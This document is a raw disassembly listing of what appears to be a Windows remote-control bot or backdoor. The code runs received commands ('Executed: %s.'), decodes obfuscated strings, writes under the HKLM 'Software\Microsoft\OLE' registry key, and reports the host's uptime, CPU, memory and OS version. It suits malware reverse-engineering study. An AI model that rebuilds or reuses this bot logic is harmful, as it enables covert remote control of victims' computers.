[esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E85 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E85 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60B5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F70 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx call near ptr 2920000h nop lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 0E850FFFFh, 23DA4B8h dd 6A006A90h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 0AD16E890h, 548D023Ch, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 9050FFFFh, 3DA377E8h, 6A006A02h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh dd 23CABD0h, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh dd 3DA233E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 91E850FFh, 90023CAAh, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 0A0E6E890h, 6A023Dh, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 41E89050h, 8D023CA9h, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 9FA6E890h, 6A023Dh, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 1E89050h, 8D023CA8h, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj nop call near ptr 27D07CDh mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F70 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F70 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 27D07CDh mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2810000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call near ptr 2800000h nop mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call sub_5EDAB2 nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call near ptr 27F113Bh nop lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax nop call near ptr 2900D00h mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte ptr [ebx+9], 1 jmp loc_406F08 ; 